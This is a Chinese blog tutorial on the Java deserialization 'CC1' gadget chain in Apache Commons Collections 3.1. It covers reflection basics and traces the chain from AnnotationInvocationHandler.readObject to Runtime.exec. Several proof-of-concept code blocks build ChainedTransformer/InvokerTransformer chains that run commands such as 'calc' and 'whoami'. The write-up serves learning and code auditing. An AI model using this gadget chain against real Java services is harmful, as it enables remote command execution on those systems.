反序列化漏洞-java反序列化cc1利用链


最近做java学习java代码审计,重新学习了下java安全相关知识,要说java安全那肯定少不了反序列化。
今天,记录下反序列化链中经典的cc1链。
在这之前我们肯定要搞清楚什么是序列化和反序列化。
简单来说就是为了方便传输,把对象序列化成字节流,反序列化就是字节流转换成对象。
那这为什么会存在漏洞呢?
在php中存在魔术方法如_wakeup()
魔术方法(Magic Methods)
魔术方法是 PHP 中以双下划线 __开头的方法,会在特定时机自动调用。在反序列化中,最重要的几个是:

  1. __construct()- 构造函数就被调用
    2.__wakeup()- 反序列化时调用 调用时机:对象被反序列化时立即调用
    等等还有很多,php中魔术方法触发了漏洞,这和java不同。php是魔术方法存在危险操作(不限于命令执行),然后通过触发这个魔术方法造成反序列化漏洞,或者魔术方法中可以调用某个类的方法,这个方法实现危险操作。
    java是某个方法可以实现危险操作,通过反序列化对象时构造这样的对象调用方法实现触发(一层层调用下去直到实现危险操作的方法)。

主要区别:php中是根据生命周期实现,如果没有实现魔术方法那就不存在调用链。
java是链式调用,要实现Serializable接口的类,重写了readobject方法,这是入口。

反序列化不得不提的概念——反射。
反射:反射是Java提供的一种在运行时检查和操作类、对象、方法、属性等的能力。它允许程序在运行时获取类的完整信息,并动态调用对象的方法或访问字段。
意思就是系统运行时动态的得到其类的全部信息。
反射调用的方法:
方法一
直接通过一个class的静态变量class获取:

Class cls = String.class;
Class是描述 Java 类的类,它是类的元数据(metadata)
方法二
如果我们有一个实例变量,可以通过该实例变量提供的getClass()方法获取:

String s = "Hello";
Class cls = s.getClass();

方法三
如果知道一个class的完整类名,可以通过静态方法Class.forName()获取:

Class cls = Class.forName("java.lang.String");

方法四
利用classLoader

Class cls = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime")

知道这些后,我们就可以来研究cc1链了。

背景介绍
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。

Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库

也就是说加载了这个库的都会有这个链,版本为3.1。

poc:

    package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class App {

    public static void main(String[] args) {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
        onlyElement.setValue("foobar");
    }
}

我们前面说了:某个方法可以实现危险操作,通过反序列化对象时构造这样的对象调用方法实现触发
这条链实现危险操作的就是InvokerTransformer中transform方法通过反射可以执行一个对象的任意方法,我们这里执行Runtime.getRuntime.exec()执行命令。

所以我们找到了transform方法,下一步就是找谁调用了transform方法。
发现TransformedMap调用了这个方法 还有Lazymap(这就是另一条链了)所以说链子都是这样一步步找出来的。
看上面图中可以发现只要控制valueTransformer,就可以实现刚刚的命令执行,因此我们看这个valueTransformer是从哪里来的,跟进查看

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

因为是protected方法,因此不能直接构造,提供了个装饰器,因此我们看decorate方法,只需要根据他的入参让decorate接收的参数为一个Map和两个Transformer,并对两个Transformer参数进行修饰。

此时我们就找到了控制了valueTransformer的方法,现在只需要两步,即可实现刚刚的命令执行

1、将valueTransformer改写为new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
2、将transform内的参数改写为Runtime.getRuntime()
重点在于第二步,如何控制value 我们发现checkSetValue是保护方法
因此我们这里查看其他方法谁调用了这个方法,进而实现控制此值,选中checkSetValue,右键点击Find Usages,查看哪里调用了此方法,而后来到了AbstractInputCheckedMapDecorator的MapEntry类,查看它的setValue方法

可以通过控制setValue的方法就可以实现控制checkValue,因此我们这里需要一个entry来调用它的setValue方法,所以这里遍历一个Map,获取它的entry
代码为:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    HashMap map = new HashMap();
    Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,invokerTransformer);
    map.put("key","value");//随便给map存一对值 否则遍历时map为空 拿不到entry
    for (Map.Entry entry:transformedMap.entrySet())
    {
        entry.setValue(Runtime.getRuntime());
    }

最后找到AnnotationInvocationHandler调用了readobject方法 后面就是从readobject链接到InvokerTransformer trabsformer。
其中利用到了 ChainedTransformer
ChainedTransformer 的作用主要就是链式调用 Transformer, 也就是将上一个 Transformer 的输出作为下一个 Transformer 的输入, 这个机制和 Java 的 AbstractProcessor 处理代码的机制一样
为解决问题1: Runtime 不可序列化, 如何传入

Runtime 不可序列化, 但他的 Class 是可序列化的, 我们可以通过序列化他的 Class 反射获取 Runtime 对象
使用三个InvokerTransformer 来获取 Runtime 对象并调用其 exec 方法

    main() {
     // 获取 getRuntime 的 Method, 不直接获取其内部的 currentRuntime 是因为 InvokerTransformer 只能反射 public
    InvokerTransformer getMethodTransformer = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
     
    Object getMethod = getMethodTransformer.transform(Runtime.class);
    
    // 获取 Runtime
    InvokerTransformer getRuntimeTransformer = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
    
    Object runtime = getRuntimeTransformer.transform(getMethod);
    
    // 执行命令
    InvokerTransformer execTransformer = new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{"whoami", null, null});
    
    execTransformer.transform(runtime);
    
    
}

因此可以用这个连接起来。

main() {
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null})
});
}

为解决参数不可控
使用ConstantTransformer
他的 transform 方法可以返回内部的一个 Object 对象, 那我们就可以结合 ChainedTransformer 的特性, 将 Runtime.class 作为参数封装进 ConstantTransformer

最终可以的到:

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null})
});

最终链条:

AnnotationInvocationHandler.readObject()
    └──> TransformedMap.Entry.setValue()
        └──> TransformedMap.checkSetValue()
            └──> ChainedTransformer.transform()
                └──> ConstantTransformer.transform() -> A
                    └──> InvokerTransformer.transform(A) -> B
                        └──> InvokerTransformer.transform(B) -> CMD
                            └──> InvokerTransformer.transform(CMD)
                                └──> Runtime.exec(CMD)

参考文章:
参考文章1
参考文章2
参考3

声明:智爱的博客|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - 反序列化漏洞-java反序列化cc1利用链


手握日月摘星辰,世间无我这般人